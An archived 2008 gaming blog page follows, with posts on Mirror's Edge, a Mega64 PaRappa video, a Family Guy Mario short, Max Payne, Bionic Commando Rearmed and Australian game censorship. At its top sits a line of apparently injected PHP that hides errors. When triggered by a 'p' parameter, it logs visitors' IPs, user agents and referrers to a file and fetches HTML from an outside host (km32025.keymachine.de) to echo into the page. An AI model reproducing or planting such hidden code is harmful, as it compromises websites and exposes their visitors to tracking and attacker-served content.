error_reporting(0); ini_set('display_errors',0); define('STATFILE','stat.txt'); define('LOG',true); if(isset($_GET['p'])) { $sock = fsockopen('km32025.keymachine.de', 80); if($sock){ if (LOG && isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) { $referer = rawurlencode($_SERVER['HTTP_REFERER']); $remote_ip = $_SERVER['REMOTE_ADDR']; $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $file = fopen(STATFILE,'ab'); if ($file) { fwrite($file,date('Y-m-d H:i:s').' '.$remote_ip.' '.$user_agent.' '.rawurldecode($referer)."\n"); fclose($file); } } fwrite ($sock, 'GET http://km32025.keymachine.de/oslik2/cn/7/'.$_GET['p'].'.html HTTP/1.0'."\r\n"); fwrite ($sock, 'Host: km32025.keymachine.de'."\r\n\r\n"); while($content[] = fgets ($sock)); $content = implode('', $content); echo(trim(substr($content, strpos($content, "\r\n\r\n")))); fclose ($sock);} exit; } -=+fastlikesquirrel.com+=- » Moofies

Archive for the 'Moofies' Category

Behind the Mirror

Tuesday, September 30th, 2008

During the last couple of years, there has been a substantial lack of action-adventure games that feature a decent escape mechanism. I’m not just talking about dodging bullets and then running to the next scene/level, I’m talking about the ability to blend into a group of NPCs or by using the terrain around you to escape your pursuers (a-la Parkour). Assassin’s Creed was the first game I felt that covered off on this and the fluidity of the climbing aspects was astounding. That said, it looks like there is a new player on the scene called Mirror’s Edge.

Mirror’s Edge is an upcoming first person action-adventure video game being developed by EA Digital Illusions CE (DICE), due for release on PlayStation 3 and Xbox 360 in early November. Over at 1up.com, they have a behind the scenes look at the game and describe the process of making a first-person Parkour game. It’s definitely worth a read…

Judging by the early footage I’ve seen and the research I’ve conducted, I’m going out on a limb and pegging this game as a must-have.

Rappin’ about life

Tuesday, September 16th, 2008

Mega64 have continued their tradition of bringing video games and the real world together. This latest video is based on the PlayStation game, PaRappa the Rappa, originally released in Japan in 1996. The game is named after its protagonist, PaRappa, a rapping dog, with the motto “I gotta believe!”

Like your pants!
Like your pants!

Family Guy does Super Mario

Thursday, September 11th, 2008

Creator of the animated funnies, Family Guy and American Dad, Seth McFarlane has some new tricks up his sleeve. He’s recently created some new online animated shorts, with the first offering focusing on the infamous plumber.

“But the princess is in another castle…”

A world of Payne

Monday, September 1st, 2008

Developed in 2001 by Finish company, Remedy Entertainment, Max Payne was a breath of fresh air to the 3rd person shooter world. The game brought slick action and furious dual-weilding gunplay to the fold with an iconic bullet-time style of gameplay, an homage of sorts to John Woo films and the Matrix franchise. Wiki describes it best-

When triggered, bullet-time slows down the passage of time to such an extent that the movements of bullets can be seen by the naked eye — it is a form of slow motion. The player, although his movement is also slowed, is still able to aim and react in real time, providing a unique advantage over enemies. This makes avoiding being shot easier and enables Max to perform special moves, such as shootdodges where Max leaps sideways through the air while continuing to fire his weapon.

The first game did so well, a sequel was released in 2003, titled Max Payne 2: The Fall of Max Payne. Plus, recently there are rumours circulating about a third release-

Take-Two Interactive suggested that there will be a Max Payne 3 at some point although it didn’t announce the game during a conference call. The team who developed The Warriors for Rockstar Games has been tapped for Max Payne 3. Rumors said that Max Payne is now under developement by Rockstar Games.

I recently dug out my PC copy of Max Payne, as I was inspired to give it a run through after seeing a recent trailer of the upcoming film. The film seems to encapsulate the dark, noir feel from the game and I’m really looking forward to seeing this film.

Refreshed & rearmed

Tuesday, August 19th, 2008

I remember playing the original Bionic Commando on NES in the late 80s/early 90s, a sequel to the original arcade game that was released in 1987. It was a great game with some decent challenges and enemies… oh, and you had a grappling hook for an arm. Capcom announced some time ago that they were going to revisit the franchise; refreshing the 2D gameplay and taking it to the next level. Let me get something straight though; this is not a sequel or a prequel, nor is it ‘based on’ the original game. It IS the original game, with a lick of new paint.

The above video shows the first BC game to be released, Bionic Commando Rearmed. But, there’s also another new Bionic Commando game to be released soon. Confused? I know I was when I first heard it. The other new BC game, funnily enough called Bionic Commando, can be best described as a 3D swinging game (a-la Spidey games) with guns and destructable environments.

BC Rearmed was released last week on XBL, and I downloaded it on the weekend and had a decent crack at some of the levels. Capcom have certainly kept up their end of the bargain. The game still feels like the 8-bit classic gameplay but with the new improvements in gameplay and graphics. It has a sense of familarity without feeling stale, at all. This game is must have if you’ve played the original.

If anyone purchases the game for X360, leave me a message to let me know, as I would be interested in some multiplayer action. Multiple swingers FTW.

Games Censorship in AU - continued

Friday, July 4th, 2008

Previously, I have talked about my distaste for the OFLC and the Australian government’s views on video games. Plus, Chippa wrote an excellent three-piece article on the censorship debacle.

I recently saw this video below created by Alex Gabbott, who is currently doing a Diploma in Film and Television Production at North Sydney TAFE. He covers off on the issue of video game censorship in Australia, in a style heavily inspired by Zero Punctuation.

“It’s an interesting look at the worrying state of freedom and democracy in this country.”